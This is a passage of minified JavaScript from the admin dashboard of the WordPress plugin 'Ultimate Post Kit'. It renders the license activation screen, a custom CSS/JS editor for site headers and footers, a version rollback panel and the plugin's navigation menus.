gap-4"},n.message&&u&&(0,e.createElement)(Ht,{tone:"error",onDismiss:()=>p(!1)},n.message),f.show&&(0,e.createElement)(Ht,{tone:f.expired?"error":"warning"},function(e){if(!e.show)return"";if(e.expired)return(0,_e.sprintf)(/* translators: 1: product name, 2: license expiry date */ /* translators: 1: product name, 2: license expiry date */
(0,_e.__)("Your %1$s license expired on %2$s.","ultimate-post-kit"),an(),e.expire_date);const t=Math.max(0,e.days_left||0);return(0,_e.sprintf)(/* translators: 1: product name, 2: number of days until expiry, 3: expiry date */ /* translators: 1: product name, 2: number of days until expiry, 3: expiry date */
(0,_e._n)("Your %1$s license expires in %2$d day (%3$s).","Your %1$s license expires in %2$d days (%3$s).",t,"ultimate-post-kit"),an(),t,e.expire_date)}(f)," ",(0,e.createElement)("a",{href:f.renew_url,target:"_blank",rel:"noreferrer",className:"font-bold underline text-current"},(0,_e.__)("Renew now","ultimate-post-kit"))),n.activated?(0,e.createElement)("div",{className:"grid grid-cols-[1.5fr_1fr] max-[1024px]:grid-cols-1 gap-4 items-start"},(0,e.createElement)("div",{className:"flex flex-col gap-4 min-w-0"},(0,e.createElement)("div",{className:"bg-[linear-gradient(135deg,#0a1912,#0f3a26)] text-white rounded-card p-7 relative overflow-hidden"},(0,e.createElement)("span",{className:"absolute -top-20 -right-20 w-64 h-64 rounded-full bg-[radial-gradient(circle,rgba(132,237,146,.25),transparent_70%)]","aria-hidden":"true"}),(0,e.createElement)("div",{className:"relative"},(0,e.createElement)("div",{className:"flex items-center justify-between gap-3 flex-wrap"},(0,e.createElement)("div",{className:"flex items-center gap-[9px] text-[11px] font-bold tracking-[.12em] uppercase "+(n.valid?"text-[#84ed92]":"text-[#fda4af]"),title:n.status||void 0},(0,e.createElement)("span",{className:"w-2 h-2 rounded-full "+(n.valid?"bg-[#84ed92] shadow-[0_0_0_3px_rgba(132,237,146,.25)]":"bg-[#f43f5e] shadow-[0_0_0_3px_rgba(244,63,94,.25)]")}),n.valid?(0,_e.__)("Active","ultimate-post-kit"):(0,_e.__)("Invalid license","ultimate-post-kit")),n.license_title&&(0,e.createElement)("span",{className:"text-[12.5px] font-bold bg-white/[.12] py-[5px] px-3 rounded-full"},n.license_title)),n.license_key_masked&&(0,e.createElement)(e.Fragment,null,(0,e.createElement)("div",{className:"text-xs text-white/[.55] mt-[18px] font-semibold"},(0,_e.__)("License key","ultimate-post-kit")),(0,e.createElement)("div",{className:"mt-[7px]"},(0,e.createElement)("code",{className:"text-[15px] font-semibold tracking-[.06em] font-mono"},n.license_key_masked))),(0,e.createElement)("div",{className:"grid grid-cols-3 max-[640px]:grid-cols-1 gap-[14px] mt-[22px] pt-[18px] border-t border-white/[.12]"},n.expire_date&&(0,e.createElement)(rn,{label:(0,_e.__)("License expires","ultimate-post-kit"),value:n.expire_date}),n.support_end&&(0,e.createElement)(rn,{label:(0,_e.__)("Support expires","ultimate-post-kit"),value:n.support_end}),n.license_title&&(0,e.createElement)(rn,{label:(0,_e.__)("License type","ultimate-post-kit"),value:n.license_title}),n.email&&(0,e.createElement)(rn,{label:(0,_e.__)("License email","ultimate-post-kit"),value:n.email})),(0,e.createElement)("form",{method:"post",action:x.url,onSubmit:e=>{window.confirm((0,_e.__)("Deactivate this license on this site?","ultimate-post-kit"))?c(!0):e.preventDefault()},className:"flex gap-[10px] mt-[22px] pt-[18px] border-t border-white/[.12]"},(0,e.createElement)(nn,{form:x,action:x.deactivate_action}),g&&(0,e.createElement)("button",{type:"submit",className:Ka,disabled:s},(0,_e.__)("Deactivate license","ultimate-post-kit")),(0,e.createElement)("button",{type:"button",className:Ka,disabled:d||s,onClick:()=>{m(!0),window.location.reload()}},(0,e.createElement)(qe,{size:14,className:d?"animate-upk-spin":""}),(0,_e.__)("Refresh","ultimate-post-kit")))))),(0,e.createElement)(on,{data:n})):(0,e.createElement)("div",{className:"grid grid-cols-[1.5fr_1fr] max-[1024px]:grid-cols-1 gap-4 items-start"},(0,e.createElement)(Aa,{className:"overflow-hidden"},(0,e.createElement)("div",{className:"flex items-center gap-3 py-[18px] px-7 max-[640px]:px-5 border-b border-[#f3f3f6] dark:border-ink-border"},(0,e.createElement)("span",{className:"w-[38px] h-[38px] rounded-tile flex-none grid place-items-center bg-[#ecfdf3] text-[#1a7d3d] dark:text-[#4ade80] dark:bg-[#0f2318]"},(0,e.createElement)(Te,{size:20})),(0,e.createElement)("span",{className:"text-base font-extrabold text-[#0f1115] dark:text-ink-text tracking-[-.01em]"},(0,_e.__)("Activate your license","ultimate-post-kit"))),(0,e.createElement)("div",{className:"p-7 max-[640px]:p-5"},(0,e.createElement)("p",{className:"text-[13.5px] text-[#6c6c75] dark:text-ink-muted mt-0 mb-5 leading-[1.55]"},(0,_e.__)("Enter your license key to activate Ultimate Post Kit Pro and receive updates and premium support.","ultimate-post-kit")),(0,e.createElement)("form",{method:"post",action:x.url,onSubmit:e=>{r.trim()?c(!0):e.preventDefault()},className:"flex flex-col gap-4"},(0,e.createElement)(nn,{form:x,action:x.activate_action}),(0,e.createElement)("div",null,(0,e.createElement)("label",{htmlFor:"upk-license-email",className:"block text-[13px] font-bold text-[#1a1a1f] dark:text-ink-text mb-[6px]"},(0,_e.__)("License email","ultimate-post-kit")),(0,e.createElement)("input",{id:"upk-license-email",type:"email",name:x.email_field||"ultimate_post_kit_license_email",autoComplete:"email",placeholder:"e.g. yourname@gmail.com",required:!0,disabled:!g,className:Va,value:null!=i?i:n.default_email||"",onChange:e=>o(e.target.value)})),(0,e.createElement)("div",null,(0,e.createElement)("label",{htmlFor:"upk-license-key",className:"block text-[13px] font-bold text-[#1a1a1f] dark:text-ink-text mb-[6px]"},(0,_e.__)("License code","ultimate-post-kit")),(0,e.createElement)("input",{id:"upk-license-key",type:"text",name:x.key_field||"ultimate_post_kit_license_key",autoComplete:"off",placeholder:"xxxxxxxx-xxxxxxxx-xxxxxxxx-xxxxxxxx",required:!0,disabled:!g,className:`${Va} font-mono tracking-[.04em]`,value:r,onChange:e=>l(e.target.value)})),(0,e.createElement)("div",null,(0,e.createElement)(ha,{type:"submit",variant:"gradient",size:"lg",disabled:!g||s||!r.trim()},s?(0,_e.__)("Activating…","ultimate-post-kit"):(0,_e.__)("Activate license","ultimate-post-kit")))))),(0,e.createElement)("div",{className:"flex flex-col gap-4"},(0,e.createElement)(Aa,{className:"p-5"},(0,e.createElement)("div",{className:"text-[17px] font-extrabold text-[#0f1115] dark:text-ink-text mb-[14px]"},(0,_e.__)("Where is my key?","ultimate-post-kit")),(0,e.createElement)("ol",{className:"m-0 p-0 flex flex-col gap-[14px]"},(0,e.createElement)("li",{className:"flex items-start gap-3"},(0,e.createElement)("span",{className:en},"1"),(0,e.createElement)("span",{className:tn},(0,_e.__)("Log in to your","ultimate-post-kit")," ",(0,e.createElement)("a",{href:b.account,target:"_blank",rel:"noreferrer",className:"text-brand font-bold hover:underline"},(0,_e.__)("bdthemes account","ultimate-post-kit"))," ",(0,_e.__)("or","ultimate-post-kit")," ",(0,e.createElement)("a",{href:b.fastspring,target:"_blank",rel:"noreferrer",className:"text-brand font-bold hover:underline"},(0,_e.__)("FastSpring account","ultimate-post-kit")),".")),(0,e.createElement)("li",{className:"flex items-start gap-3"},(0,e.createElement)("span",{className:en},"2"),(0,e.createElement)("span",{className:tn},(0,_e.__)("Copy the license key from your purchase.","ultimate-post-kit"))),(0,e.createElement)("li",{className:"flex items-start gap-3"},(0,e.createElement)("span",{className:en},"3"),(0,e.createElement)("span",{className:tn},(0,_e.__)("Paste it in the form and activate.","ultimate-post-kit"))))),(0,e.createElement)("div",{className:Xa},(0,e.createElement)("div",{className:"w-[42px] h-[42px] rounded-[12px] bg-gradient-brand grid place-items-center text-white mb-[14px]"},(0,e.createElement)(ot,{size:22})),(0,e.createElement)("div",{className:"text-base font-bold text-[#18181b] dark:text-ink-text"},(0,_e.__)("Don't have a license yet?","ultimate-post-kit")),(0,e.createElement)("p",{className:"text-[12.5px] text-[#52525b] dark:text-ink-muted mt-[6px] mb-4 leading-[1.55]"},(0,_e.__)("Unlock every widget, feature and premium support.","ultimate-post-kit")),(0,e.createElement)("a",{href:b.get_pro||ye.getProUrl,target:"_blank",rel:"noreferrer",className:qa},(0,_e.__)("Get Ultimate Post Kit Pro","ultimate-post-kit")))))))},ultimate_post_kit_extra_options:function({data:t}){return(0,e.createElement)("div",null,(0,e.createElement)(Wt,{title:(0,_e.__)("White Label","ultimate-post-kit"),subtitle:(0,_e.__)("Rebrand Ultimate Post Kit across the admin for your clients.","ultimate-post-kit")}),(0,e.createElement)(gn,{data:t||{}}))},ultimate_post_kit_custom_code:function({data:a={}}){const n=Vt(),[r,l]=(0,t.useState)(()=>function(e){return{customCss:e.customCss||"",customJs:e.customJs||"",customCss2:e.customCss2||"",customJs2:e.customJs2||"",excludedPages:(t=e.excludedPages,(Array.isArray(t)?t:[]).map(e=>parseInt(e,10)).filter(e=>e>0))};var t}(a)),[i,o]=(0,t.useState)(r),[s,c]=(0,t.useState)(!1),[d,m]=(0,t.useState)(""),u=a.codeEditor||{},p=(0,t.useMemo)(()=>(Array.isArray(a.excludable)?a.excludable:[]).map(e=>({...e,id:parseInt(e.id,10)})),[a.excludable]),x=Sn.some(e=>i[e]!==r[e])||!function(e,t){if(e.length!==t.length)return!1;const a=[...t].sort((e,t)=>e-t);return[...e].sort((e,t)=>e-t).every((e,t)=>e===a[t])}(i.excludedPages,r.excludedPages),b=e=>t=>o(a=>({...a,[e]:t})),f=(t,a,n)=>(0,e.createElement)("div",{className:"grid grid-cols-2 max-[860px]:grid-cols-1 gap-4"},(0,e.createElement)("div",null,(0,e.createElement)("span",{className:Ln},(0,_e.__)("CSS","ultimate-post-kit")),(0,e.createElement)(wn,{settings:u.css||null,ariaLabel:(0,_e.sprintf)(/* translators: %s: Header or Footer. */ /* translators: %s: Header or Footer. */
(0,_e.__)("%s CSS","ultimate-post-kit"),n),value:i[t],onChange:b(t)})),(0,e.createElement)("div",null,(0,e.createElement)("span",{className:Ln},(0,_e.__)("JavaScript","ultimate-post-kit")),(0,e.createElement)(wn,{settings:u.js||null,ariaLabel:(0,_e.sprintf)(/* translators: %s: Header or Footer. */ /* translators: %s: Header or Footer. */
(0,_e.__)("%s JavaScript","ultimate-post-kit"),n),value:i[a],onChange:b(a)})));return(0,e.createElement)("div",null,(0,e.createElement)(vn,null),(0,e.createElement)(Wt,{title:(0,_e.__)("Custom CSS & JS","ultimate-post-kit"),subtitle:(0,_e.__)("Inject custom CSS/JS into your site and exclude pages from loading it.","ultimate-post-kit")}),(0,e.createElement)("div",{className:"flex flex-col gap-4"},d?(0,e.createElement)(Ht,{tone:"error",onDismiss:()=>m("")},d):null,(0,e.createElement)(Ta,{icon:Ve,iconClassName:kt("extra-options"),title:(0,_e.__)("Custom Code","ultimate-post-kit")},(0,e.createElement)(yn,{label:(0,_e.__)("Header code injection","ultimate-post-kit"),description:(0,_e.__)("Raw CSS/JS injected into the <head> of your site (no wrapper tags).","ultimate-post-kit"),stacked:!0},f("customCss","customJs",(0,_e.__)("Header","ultimate-post-kit"))),(0,e.createElement)(yn,{label:(0,_e.__)("Footer code injection","ultimate-post-kit"),stacked:!0},f("customCss2","customJs2",(0,_e.__)("Footer","ultimate-post-kit"))),(0,e.createElement)(yn,{label:(0,_e.__)("Exclude pages & posts","ultimate-post-kit"),description:(0,_e.__)("Selected items will not load any custom CSS or JavaScript.","ultimate-post-kit"),stacked:!0},(0,e.createElement)(Cn,{items:p,value:i.excludedPages,onChange:b("excludedPages"),ariaLabel:(0,_e.__)("Exclude pages & posts","ultimate-post-kit"),help:(0,_e.__)("Type to search, then press Enter or click a suggestion to add it.","ultimate-post-kit")}))),(0,e.createElement)(Jt,{visible:x,saving:s,onSave:async()=>{const e=Sn.every(e=>!i[e]),t=Sn.some(e=>r[e]);if(e&&t&&!window.confirm((0,_e.__)("No content detected in any editor. Do you want to save empty content (this will clear all custom code)?","ultimate-post-kit")))return;const o=i,s=new window.FormData;s.append("action",a.action||"upk_save_custom_code"),s.append("nonce",a.nonce||""),s.append("custom_css",o.customCss),s.append("custom_js",o.customJs),s.append("custom_css_2",o.customCss2),s.append("custom_js_2",o.customJs2),o.excludedPages.forEach(e=>s.append("excluded_pages[]",String(e))),c(!0),m("");try{const e=await window.fetch(ye.ajaxUrl||window.ajaxurl,{method:"POST",credentials:"same-origin",body:s});let t=null;try{t=await e.json()}catch(e){t=null}if(!t||!t.success)throw new Error(t&&t.data&&t.data.message||(0,_e.__)("Failed to save custom code. Please try again.","ultimate-post-kit"));l(o);const a=t.data&&t.data.excluded_count?t.data.excluded_count:0;n(a?(0,_e.sprintf)(/* translators: %d: number of excluded pages and posts. */ /* translators: %d: number of excluded pages and posts. */
(0,_e._n)("Changes saved. %d page excluded.","Changes saved. %d pages excluded.",a,"ultimate-post-kit"),a):(0,_e.__)("Changes saved.","ultimate-post-kit"))}catch(e){m(e.message),n(e.message,{tone:"error"})}finally{c(!1)}},onReset:()=>{o(r),m("")}})))},ultimate_post_kit_rollback_version:function({data:a={}}){const n=Vt(),[r,l]=(0,t.useState)(!1),[i,o]=(0,t.useState)(null),s=a.previous;return(0,e.createElement)("div",null,(0,e.createElement)(Wt,{title:(0,_e.__)("Rollback Version","ultimate-post-kit"),subtitle:(0,_e.sprintf)(/* translators: %s: current version */ /* translators: %s: current version */
(0,_e.__)("Current version: %s","ultimate-post-kit"),a.current_version)}),(0,e.createElement)("div",{className:"flex flex-col gap-4"},i&&(0,e.createElement)(Ht,{tone:"error",onDismiss:()=>o(null)},i.message),a.can_rollback&&s?(0,e.createElement)(e.Fragment,null,(0,e.createElement)(Ht,{tone:"warning"},(0,e.createElement)("strong",null,(0,_e.__)("Warning:","ultimate-post-kit"))," ",(0,_e.__)("Please backup your database before making the rollback.","ultimate-post-kit")),(0,e.createElement)(Aa,{className:"overflow-hidden"},(0,e.createElement)("div",{className:"p-6 max-[640px]:p-5"},(0,e.createElement)("div",{className:"flex items-center gap-3"},(0,e.createElement)("span",{className:"w-[38px] h-[38px] rounded-tile flex-none grid place-items-center bg-[#fff7ed] text-[#f59e0b] dark:bg-[#2a1c0e]"},(0,e.createElement)(Ke,{size:20})),(0,e.createElement)("span",{className:"text-base font-extrabold text-[#0f1115] dark:text-ink-text tracking-[-.01em]"},(0,_e.__)("Restore a previous version","ultimate-post-kit"))),(0,e.createElement)("div",{className:"flex items-stretch gap-3 flex-wrap mt-5"},(0,e.createElement)("div",{className:"flex-1 min-w-[190px] border border-[#e9e9ed] dark:border-ink-border rounded-panel py-4 px-5"},(0,e.createElement)("div",{className:"text-[10.5px] font-extrabold uppercase tracking-[.1em] text-[#6d6d74] dark:text-ink-muted"},(0,_e.__)("Current version","ultimate-post-kit")),(0,e.createElement)("div",{className:"text-[24px] font-black tracking-[-.02em] text-[#0f1115] dark:text-ink-text mt-[4px]"},"v",a.current_version)),(0,e.createElement)("div",{className:"grid place-items-center text-[#c4c4cc] flex-none"},(0,e.createElement)(Ge,{size:22})),(0,e.createElement)("div",{className:"flex-1 min-w-[190px] border border-[#fed7aa] dark:border-[#4a3419] bg-[#fffbf5] dark:bg-[#2a1c0e] rounded-panel py-4 px-5"},(0,e.createElement)("div",{className:"text-[10.5px] font-extrabold uppercase tracking-[.1em] text-[#c2410c] dark:text-[#fdba74]"},(0,_e.__)("Rolling back to","ultimate-post-kit")),(0,e.createElement)("div",{className:"text-[24px] font-black tracking-[-.02em] text-[#9a3412] dark:text-[#fdba74] mt-[4px]"},"v",s.version)))),(0,e.createElement)("div",{className:"grid grid-cols-4 max-[760px]:grid-cols-2 border-t border-[#f1f1f4] dark:border-ink-border divide-x divide-[#f1f1f4] dark:divide-ink-border max-[760px]:divide-x-0 bg-[#fafbfc] dark:bg-ink-subtle"},(0,e.createElement)(In,{label:(0,_e.__)("Backup date","ultimate-post-kit"),value:s.created_at}),(0,e.createElement)(In,{label:(0,_e.__)("Backup type","ultimate-post-kit"),value:s.backup_type}),s.file_count>0&&(0,e.createElement)(In,{label:(0,_e.__)("Files","ultimate-post-kit"),value:s.file_count}),s.file_size_label&&(0,e.createElement)(In,{label:(0,_e.__)("Size","ultimate-post-kit"),value:s.file_size_label})),(0,e.createElement)("div",{className:"flex items-center justify-between gap-3 flex-wrap p-6 max-[640px]:p-5 border-t border-[#f1f1f4] dark:border-ink-border"},(0,e.createElement)(ha,{variant:"danger-solid",disabled:r,onClick:async()=>{if(s&&!r&&window.confirm((0,_e.sprintf)(/* translators: %s: version number */ /* translators: %s: version number */
(0,_e.__)("Are you sure you want to rollback to version %s? This action cannot be undone.","ultimate-post-kit"),s.version))){o(null),l(!0);try{const e=await async function(e,t){const a=new window.FormData;let n;a.append("action",e.action||"upk_rollback_version"),a.append("version",t),a.append("nonce",e.nonce||"");try{const e=await window.fetch(ye.ajaxUrl,{method:"POST",credentials:"same-origin",body:a});n=await e.json()}catch(e){throw new Error(jn())}if(!n||!n.success){const e=n&&n.data&&n.data.message;throw new Error(e?(0,_e.sprintf)(/* translators: %s: error message */ /* translators: %s: error message */
(0,_e.__)("Error: %s","ultimate-post-kit"),e):jn())}return n.data&&n.data.message||""}(a,s.version);n(e||(0,_e.__)("Rollback complete.","ultimate-post-kit")),window.setTimeout(()=>window.location.reload(),1500)}catch(e){l(!1),o(e),n(e.message,{tone:"error"})}}}},r?(0,_e.__)("Rolling back…","ultimate-post-kit"):(0,_e.sprintf)(/* translators: %s: version number */ /* translators: %s: version number */
(0,_e.__)("Rollback to v%s","ultimate-post-kit"),s.version)),(0,e.createElement)("span",{className:"flex items-center gap-[7px] text-[12.5px] font-semibold text-[#6d6d74] dark:text-ink-muted"},(0,e.createElement)(Xe,{size:14}),(0,_e.__)("This cannot be undone — back up your database first.","ultimate-post-kit"))))):(0,e.createElement)(Qt,{title:(0,_e.__)("No rollback available","ultimate-post-kit"),description:(0,_e.__)("No previous version is available for rollback. This usually means this is a fresh installation or no backup was created during the last update.","ultimate-post-kit")})))}},Dn={ultimate_post_kit_rollback_version:{path:"/rollback",icon:Ke,slot:"more"},ultimate_post_kit_extra_options:{path:"/white-label",icon:Ae,slot:"primary"},ultimate_post_kit_custom_code:{path:"/custom-code",icon:Ve,slot:"primary",label:(0,_e.__)("Custom Code","ultimate-post-kit")},ultimate_post_kit_license_settings:{path:"/license",icon:Te,slot:"primary"}},Tn=function(){const t=[{path:"/",legacy:"ultimate_post_kit_welcome",label:(0,_e.__)("Dashboard","ultimate-post-kit"),icon:je,slot:"primary",end:!0,render:()=>(0,e.createElement)(na,null)},{path:"/widgets",legacy:"ultimate_post_kit_active_modules",label:(0,_e.__)("Widgets","ultimate-post-kit"),icon:Ie,slot:"primary",end:!0,render:()=>(0,e.createElement)(Ea,{section:"ultimate_post_kit_active_modules",title:(0,_e.__)("Widgets","ultimate-post-kit")})}];var a;return we("ultimate_post_kit_elementor_extend").length&&t.push({path:"/extensions",legacy:"ultimate_post_kit_elementor_extend",label:a=(0,_e.__)("Extensions","ultimate-post-kit"),icon:ze,slot:"primary",end:!0,render:()=>(0,e.createElement)(Ea,{section:"ultimate_post_kit_elementor_extend",title:a,subtitle:void 0})}),t.push({path:"/features",legacy:"ultimate_post_kit_other_settings",label:(0,_e.__)("Features","ultimate-post-kit"),icon:De,slot:"primary",end:!0,render:()=>(0,e.createElement)(wa,null)}),we("ultimate_post_kit_other_settings").some(e=>e.name===Xt)&&t.push({path:"/performance",legacy:"ultimate_post_kit_performance",label:(0,_e.__)("Performance","ultimate-post-kit"),icon:He,slot:"primary",end:!0,render:()=>(0,e.createElement)(ea,null)}),(ve.ultimate_post_kit_api_settings?.groups||[]).length&&t.push({path:"/api-settings",legacy:"ultimate_post_kit_api_settings",label:(0,_e.__)("API Settings","ultimate-post-kit"),icon:ct,slot:"primary",end:!0,render:()=>(0,e.createElement)(za,null)}),t.push({path:"/system-status",legacy:"ultimate_post_kit_analytics_system_req",label:(0,_e.__)("System Status","ultimate-post-kit"),icon:rt,slot:"more",end:!0,render:()=>(0,e.createElement)($a,null)}),t.push({path:"/other-plugins",legacy:"ultimate_post_kit_other_plugins",label:(0,_e.__)("Other Plugins","ultimate-post-kit"),icon:Pe,slot:"more",end:!0,render:()=>(0,e.createElement)(Za,null)}),(ye.panels||[]).forEach(a=>{const n=Dn[a.id]||{path:`/${a.id.replace(/^ultimate_post_kit_/,"").replace(/_/g,"-")}`,icon:ze,slot:"more"};t.push({path:n.path,legacy:a.id,label:n.label||a.title,icon:n.icon,slot:n.slot,end:!0,render:()=>{const t=a.data?Pn[a.id]:null;return t?(0,e.createElement)(t,{panel:a,data:a.data}):(0,e.createElement)(Fa,{panel:a})}})}),ye.isPro||([{id:"ultimate_post_kit_extra_options",label:(0,_e.__)("White Label","ultimate-post-kit"),page:{icon:Ae,accent:"woo",title:(0,_e.__)("White Label","ultimate-post-kit"),subtitle:(0,_e.__)("Rebrand Ultimate Post Kit across the admin for your clients.","ultimate-post-kit"),headline:(0,_e.__)("Make Ultimate Post Kit your own brand","ultimate-post-kit"),description:(0,_e.__)("Rebrand the plugin for client sites: your name, your icon and your logo, with the license screen and the plugin itself hidden from clients.","ultimate-post-kit"),points:[{title:(0,_e.__)("Your name and menu icon","ultimate-post-kit"),sub:(0,_e.__)('Replace "Ultimate Post Kit" and its icon throughout the admin.',"ultimate-post-kit")},{title:(0,_e.__)("Your logo","ultimate-post-kit"),sub:(0,_e.__)("Show your own logo in the dashboard header.","ultimate-post-kit")},{title:(0,_e.__)("Hide the license menu","ultimate-post-kit"),sub:(0,_e.__)("Keep license details away from clients.","ultimate-post-kit")},{title:(0,_e.__)("Hide Ultimate Post Kit","ultimate-post-kit"),sub:(0,_e.__)("Remove the plugin from the admin, with an access link sent to your email.","ultimate-post-kit")}]}},{id:"ultimate_post_kit_custom_code",label:(0,_e.__)("Custom Code","ultimate-post-kit"),page:{icon:Ve,accent:"violet",title:(0,_e.__)("Custom CSS & JS","ultimate-post-kit"),subtitle:(0,_e.__)("Inject custom CSS/JS into your site and exclude pages from loading it.","ultimate-post-kit"),headline:(0,_e.__)("Add site-wide CSS and JavaScript","ultimate-post-kit"),description:(0,_e.__)("Write CSS and JavaScript once and load it across the site, in the header or the footer, and keep it off the pages where you don't want it.","ultimate-post-kit"),points:[{title:(0,_e.__)("Header code","ultimate-post-kit"),sub:(0,_e.__)("CSS and JavaScript printed in the <head> of every page.","ultimate-post-kit")},{title:(0,_e.__)("Footer code","ultimate-post-kit"),sub:(0,_e.__)("CSS and JavaScript printed before the closing </body> tag.","ultimate-post-kit")},{title:(0,_e.__)("Code editor","ultimate-post-kit"),sub:(0,_e.__)("Syntax highlighting, line numbers and bracket matching.","ultimate-post-kit")},{title:(0,_e.__)("Page exclusions","ultimate-post-kit"),sub:(0,_e.__)("Choose pages and posts that should not load the custom code.","ultimate-post-kit")}]}},{id:"ultimate_post_kit_rollback_version",label:(0,_e.__)("Rollback Version","ultimate-post-kit"),page:{icon:Ke,accent:"green",title:(0,_e.__)("Rollback Version","ultimate-post-kit"),subtitle:(0,_e.__)("Restore a previous version and get priority help.","ultimate-post-kit"),headline:(0,_e.__)("Roll back an update in one click","ultimate-post-kit"),description:(0,_e.__)("If an update causes a problem on your site, go back to the version you had before while it is being fixed, and get priority help from the BdThemes team.","ultimate-post-kit"),points:[{title:(0,_e.__)("One-click rollback","ultimate-post-kit"),sub:(0,_e.__)("Restore the previous version straight from the dashboard.","ultimate-post-kit")},{title:(0,_e.__)("Automatic backup","ultimate-post-kit"),sub:(0,_e.__)("The installed version is backed up before each update.","ultimate-post-kit")},{title:(0,_e.__)("Premium support","ultimate-post-kit"),sub:(0,_e.__)("Priority help from the BdThemes support team.","ultimate-post-kit")},{title:(0,_e.__)("Pro updates","ultimate-post-kit"),sub:(0,_e.__)("New Pro widgets and features as they are released.","ultimate-post-kit")}]}}].forEach(a=>{const n=Dn[a.id];t.some(e=>e.path===n.path)||t.push({path:n.path,legacy:a.id,label:a.label,icon:n.icon,slot:n.slot,end:!0,render:()=>(0,e.createElement)(zn,{...a.page})})}),t.push({path:"/get-pro",legacy:"ultimate_post_kit_get_pro",label:(0,_e.__)("You May Also Need","ultimate-post-kit"),icon:ot,slot:"primary",end:!0,render:()=>(0,e.createElement)(Wa,null)})),t}();function An(e){const t=String(e||"").replace(/^#/,""),a=Tn.find(e=>e.legacy===t);return a?a.path:"ultimate_post_kit_license_settings"!==t||ye.isPro?null:"/get-pro"}function Un({active:t,onClick:a,icon:n,label:r,expanded:l,controls:i}){return(0,e.createElement)("button",{type:"button",onClick:a,"aria-current":t?"page":void 0,"aria-expanded":void 0===l?void 0:l,"aria-controls":i,"aria-haspopup":void 0===l?void 0:"true",className:"flex items-center gap-[0.45rem] py-[11px] px-[16px] rounded-full text-sm font-bold cursor-pointer whitespace-nowrap transition-all duration-200 "+(t?"bg-gradient-brand text-white shadow-[0_6px_16px_rgba(8,201,114,.32)]":"bg-transparent text-[#52525b] dark:text-ink-muted hover:bg-[#f3f5f8] dark:hover:bg-[#1f242d] hover:text-[#18181b] dark:hover:text-ink-text")},(0,e.createElement)("span",{className:"w-[18px] h-[18px] grid place-items-center"},(0,e.createElement)(n,{size:17})),r)}function Rn(){const{pathname:a}=B(),n=J(),[r,l]=(0,t.useState)(!1),[i,o]=(0,t.useState)(null),s=(0,t.useRef)(null),c=(0,t.useRef)(null),d=e=>e.end?a===e.path:a.startsWith(e.path),m=e=>({key:e.path,icon:e.icon,label:e.label,path:e.path,active:d(e)}),u=Tn.filter(e=>"primary"===e.slot).map(m),p=Tn.filter(e=>"more"===e.slot).map(m),x=(0,t.useCallback)(()=>l(!1),[]);(0,t.useEffect)(()=>{x()},[a,x]),(0,t.useEffect)(()=>{if(!r)return;const e=e=>{s.current&&!s.current.contains(e.target)&&x()},t=e=>{"Escape"===e.key&&x()};return document.addEventListener("mousedown",e),document.addEventListener("keydown",t),()=>{document.removeEventListener("mousedown",e),document.removeEventListener("keydown",t)}},[r,x]);const b=(0,t.useRef)(null),f=(0,t.useRef)(null),g=(0,t.useRef)([]),k=(0,t.useRef)(0),[h,_]=(0,t.useState)(u.length),E=(0,t.useCallback)(()=>{const e=b.current,t=g.current;if(!e||!t.length)return;const a=window.getComputedStyle(e),n=e.clientWidth-parseFloat(a.paddingLeft)-parseFloat(a.paddingRight),r=t.length;let l=0;if(t.forEach((e,t)=>{l+=e+(t>0?4:0)}),l<=n&&0===p.length)return void _(e=>e===r?e:r);const i=n-(k.current||0)-4;let o=0,s=0;for(let e=0;e<r;e++){const a=t[e]+(s>0?4:0);if(o+a>i)break;o+=a,s+=1}_(e=>e===s?e:s)},[p.length]);(0,t.useLayoutEffect)(()=>{const e=f.current;if(!e)return;const t=Array.from(e.children),a=t.pop();g.current=t.map(e=>e.getBoundingClientRect().width),k.current=a?a.getBoundingClientRect().width:0,E()}),(0,t.useEffect)(()=>{const e=b.current;if(!e||void 0===window.ResizeObserver)return;const t=new window.ResizeObserver(()=>E());return t.observe(e),()=>t.disconnect()},[E]);const v=u.slice(0,h),w=[...u.slice(h),...p],y=w.some(e=>e.active)||r;return(0,e.createElement)("div",{className:"hidden min-[901px]:block relative border-t border-[#eef0f3] dark:border-ink-border bg-[#fafbfc] dark:bg-ink-subtle rounded-b-card",ref:s},(0,e.createElement)("div",{"aria-hidden":"true",className:"absolute inset-x-0 top-0 overflow-hidden pointer-events-none"},(0,e.createElement)("div",{ref:f,className:"flex w-max gap-1 py-2 px-4 invisible"},u.map(t=>(0,e.createElement)(Un,{key:t.key,active:!1,onClick:()=>{},icon:t.icon,label:t.label})),(0,e.createElement)(Un,{active:!1,onClick:()=>{},icon:et,label:(0,_e.__)("More","ultimate-post-kit")}))),(0,e.createElement)("div",{ref:b,className:"flex flex-nowrap gap-1 py-2 px-4 overflow-hidden"},v.map(t=>(0,e.createElement)(Un,{key:t.key,active:t.active,onClick:()=>n(t.path),icon:t.icon,label:t.label})),w.length>0?(0,e.createElement)("span",{ref:c,className:"inline-flex"},(0,e.createElement)(Un,{active:y,onClick:()=>{if(!r&&c.current&&s.current){const e=c.current.getBoundingClientRect(),t=s.current.getBoundingClientRect();o(Math.max(8,Math.min(e.left-t.left,t.width-228)))}l(e=>!e)},icon:et,label:(0,_e.__)("More","ultimate-post-kit"),expanded:r,controls:"upk-more-menu"})):null),r?(0,e.createElement)("div",{id:"upk-more-menu",style:null!==i?{left:i}:void 0,className:"absolute top-full mt-1 min-w-[220px] bg-white dark:bg-ink-card border border-[#e6e6ea] dark:border-ink-border rounded-panel shadow-pop z-50 overflow-hidden animate-upk-pop py-1.5 "+(null===i?"right-4":"")},w.map(t=>{const a=t.icon;return(0,e.createElement)("button",{key:t.key,type:"button",onClick:()=>n(t.path),"aria-current":t.active?"page":void 0,className:"w-full flex items-center gap-[10px] py-[10px] px-[14px] text-left text-[13.5px] font-bold cursor-pointer transition-colors "+(t.active?"text-brand bg-[#eafaf1] dark:bg-[#0f2a1c]":"text-[#3f3f46] dark:text-ink-text hover:bg-[#f3f5f8] dark:hover:bg-[#1f242d]")},(0,e.createElement)("span",{className:"w-[18px] h-[18px] grid place-items-center "+(t.active?"text-brand":"text-[#6c6c75] dark:text-ink-muted")},(0,e.createElement)(a,{size:16})),t.label)})):null)}function On(){const{pathname:a}=B(),n=J(),[r,l]=(0,t.useState)(!1);(0,t.useEffect)(()=>l(!1),[a]);const i=Tn.filter(e=>"primary"===e.slot),o=i.slice(0,4),s=[...i.slice(4),...Tn.filter(e=>"more"===e.slot)],c=e=>a===e.path;return(0,e.createElement)("div",{className:"hidden max-[900px]:block"},r?(0,e.createElement)("div",{className:"fixed inset-x-3 bottom-[calc(84px+env(safe-area-inset-bottom))] z-50 bg-white 